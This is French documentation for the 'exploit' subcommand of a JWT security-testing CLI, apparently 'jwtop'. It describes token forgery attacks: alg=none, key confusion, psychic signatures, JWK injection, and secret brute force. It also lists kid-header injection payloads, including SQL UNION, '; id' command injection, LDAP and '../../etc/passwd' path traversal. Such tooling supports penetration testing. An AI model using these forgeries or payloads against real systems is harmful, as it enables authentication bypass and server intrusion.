exploit
Applique un exploit de sécurité JWT à un token existant et affiche le token modifié sur stdout. Chaque sous-commande implémente un exploit indépendamment.
Utilisation
Section titled “Utilisation”jwtop exploit <subcommand> <token> [flags]Chaque sous-commande peut aussi lire <token> depuis stdin lorsqu’il est omis, ex. jwtop find --file page.html | jwtop exploit algnone.
Sous-commandes
Section titled “Sous-commandes”| Sous-commande | Description |
|---|---|
algnone | Définit alg=none et supprime la signature |
blanksecret | Re-signe avec un secret HMAC vide |
nullsig | Supprime la signature en conservant l’alg d’origine |
hmacconfusion | Re-signe en utilisant une clé publique comme secret HMAC (RS/ES → HS) |
psychicsig | Re-signe avec une signature ECDSA à zéro (r=0, s=0) |
kidinjection | Injecte une valeur dans le header kid |
jwkinjection | Embarque un JWK auto-signé dans le header et re-signe (CVE-2018-0114) |
weaksecret | Force brute sur le secret de signature HMAC |
algnone
Section titled “algnone”Définit alg=none et supprime la signature. Utilisez --all pour produire un token par variante de casse (none, NONE, None, nOnE), afin de couvrir les bibliothèques qui comparent l’algorithme sans tenir compte de la casse.
jwtop exploit algnone <token>jwtop exploit algnone --all <token>| Option | Description |
|---|---|
--all | Affiche un token par variante de casse de "none" |
blanksecret
Section titled “blanksecret”Re-signe le token avec une chaîne vide comme secret HMAC. Un serveur qui accepte ce token est configuré avec une clé de signature vide.
jwtop exploit blanksecret <token>nullsig
Section titled “nullsig”Supprime le segment de signature en laissant le header alg inchangé. Le token résultant a la forme header.payload. (point final, signature vide).
jwtop exploit nullsig <token>hmacconfusion
Section titled “hmacconfusion”Re-signe un token RSA ou ECDSA sous sa forme HMAC équivalente, en utilisant le PEM de la clé publique du serveur comme secret HMAC. Exploite les serveurs qui vérifient des tokens HS256 avec leur clé publique RSA/EC.
Correspondance des algorithmes (même force en bits) :
| Original | Exploité |
|---|---|
RS256 / ES256 / PS256 | HS256 |
RS384 / ES384 / PS384 | HS384 |
RS512 / ES512 / PS512 | HS512 |
jwtop exploit hmacconfusion <token> --key <pem-file-or-url>| Option | Description |
|---|---|
--key | Chemin ou URL vers un fichier de clé publique PEM (obligatoire) |
psychicsig
Section titled “psychicsig”Re-signe un token ECDSA (ES256, ES384, ou ES512) avec une signature r=0, s=0, dimensionnée pour l’algorithme déclaré du token. Exploite la CVE-2022-21449 (« psychic signatures in Java »), où certains vérificateurs ECDSA (notamment le fournisseur SunEC de Java 15-18) ne rejetaient pas r=0/s=0, acceptant le token comme valablement signé pour n’importe quel message et n’importe quelle clé publique.
jwtop exploit psychicsig <token>kidinjection
Section titled “kidinjection”Manipule le champ d’en-tête kid et re-signe le token.
jwtop exploit kidinjection <token> [--mode <mode>] [--kid <value>] [--secret <secret>] [--all]| Option | Description |
|---|---|
--mode | sql, path, command, ldap, ou raw (par défaut sql) |
--kid | Remplace la valeur de kid (prime sur la valeur par défaut du mode) |
--sql-table | Nom de table pour le payload du mode sql (par défaut tokens) |
--path | Chemin de fichier pour le payload du mode path (par défaut /dev/null) |
--secret | Secret HMAC utilisé pour signer (remplace la valeur par défaut du mode) |
--all | Avec le mode command ou ldap, affiche un token par variante de payload connue |
Modes :
| Mode | kid par défaut | Secret par défaut | Description |
|---|---|---|---|
sql | ' UNION SELECT 'secret' FROM <table> WHERE '1'='1 | secret | Injection SQL — fait retourner une valeur contrôlée par l’attaquant à un SELECT |
path | /dev/null | (vide) | Path traversal vers un fichier vide |
command | ; id | (vide) | Payload de métacaractères shell — cible les serveurs qui délèguent au shell en utilisant kid pour localiser un fichier de clé |
ldap | `)(uid=))( | (uid=*` | (vide) |
raw | (requis via --kid) | (vide) | Valeur arbitraire |
Exemples :
# Injection SQL (table par défaut : tokens)jwtop exploit kidinjection --mode sql $TOKEN
# Injection SQL ciblant une table personnaliséejwtop exploit kidinjection --mode sql --sql-table keys $TOKEN
# Path traversal (chemin par défaut : /dev/null)jwtop exploit kidinjection --mode path $TOKEN
# Path traversal avec un chemin personnaliséjwtop exploit kidinjection --mode path --path /proc/sys/kernel/ns_last_pid $TOKEN
# Injection de commande (payload par défaut : "; id")jwtop exploit kidinjection --mode command $TOKEN
# Injection de commande — un token par variante de payload shell connuejwtop exploit kidinjection --mode command --all $TOKEN
# Injection LDAP (payload par défaut)jwtop exploit kidinjection --mode ldap $TOKEN
# Injection LDAP — un token par variante de payload LDAP connuejwtop exploit kidinjection --mode ldap --all $TOKEN
# Valeur kid arbitrairejwtop exploit kidinjection --mode raw --kid "../../etc/passwd" --secret "" $TOKENjwkinjection
Section titled “jwkinjection”Génère une paire de clés RSA/ECDSA auto-signée, embarque sa clé publique directement dans le champ d’en-tête jwk du token, et re-signe avec la clé privée correspondante. Exploite la CVE-2018-0114, où certaines bibliothèques JWT faisaient confiance à un jwk embarqué au lieu de valider contre un jeu de clés connu.
jwtop exploit jwkinjection <token> [--alg <alg>] [--key <pem-file-or-url>]| Option | Description |
|---|---|
--alg | Algorithme de signature pour la paire de clés générée (par défaut RS256) |
--key | Chemin ou URL vers un fichier de clé privée PEM — re-signe avec cette clé au lieu d’en générer une nouvelle |
Exemples :
# Générer une nouvelle paire de clés RS256 (par défaut)jwtop exploit jwkinjection $TOKEN
# Générer une nouvelle paire de clés ES256jwtop exploit jwkinjection $TOKEN --alg ES256
# Re-signer avec une clé privée existantejwtop exploit jwkinjection $TOKEN --key /path/to/private.pemweaksecret
Section titled “weaksecret”Attaque par dictionnaire le secret de signature HMAC d’un token HS256/HS384/HS512. La wordlist intégrée est essayée en premier, puis un éventuel fichier --wordlist, puis les éventuelles valeurs --secret explicites.
jwtop exploit weaksecret <token> [--wordlist <file>] [--secret <s>...] [--workers <n>]| Option | Description |
|---|---|
--wordlist | Chemin vers un fichier de secrets candidats, un par ligne |
--secret | Secret candidat explicite (répétable) |
--workers | Nombre de workers concurrents (par défaut 8) |
--john | Se rabat sur l’outil externe john si l’attaque intégrée ne trouve pas le secret |
--john-path | Chemin vers le binaire john — le passer implique --john |
--hashcat | Se rabat sur l’outil externe hashcat si l’attaque intégrée ne trouve pas le secret |
--hashcat-path | Chemin vers le binaire hashcat — le passer implique --hashcat |
--crack-timeout | Durée maximale d’exécution de john/hashcat avant arrêt (par défaut 5m) |
--john/--hashcat sont optionnels, désactivés par défaut, et se comportent exactement comme dans crack : auto-détectés avec un avertissement sur stderr lorsque disponibles mais non utilisés, un avertissement de timeout s’ils ne terminent pas à temps, et inutilisables dans l’image Docker publiée. Voir cette page pour les instructions d’installation.
Exemples :
# Utiliser le dictionnaire intégréjwtop exploit weaksecret $TOKEN
# Ajouter des valeurs explicites en plus du dictionnaire intégréjwtop exploit weaksecret $TOKEN --secret mysecret --secret topsecret
# Utiliser une wordlist personnaliséejwtop exploit weaksecret $TOKEN --wordlist /path/to/secrets.txt
# Se rabattre sur hashcat pour une grande wordlistjwtop exploit weaksecret $TOKEN --wordlist /path/to/rockyou.txt --hashcatAffiche le secret retrouvé sur stdout (code 0) s’il est trouvé ; retourne 1 sinon.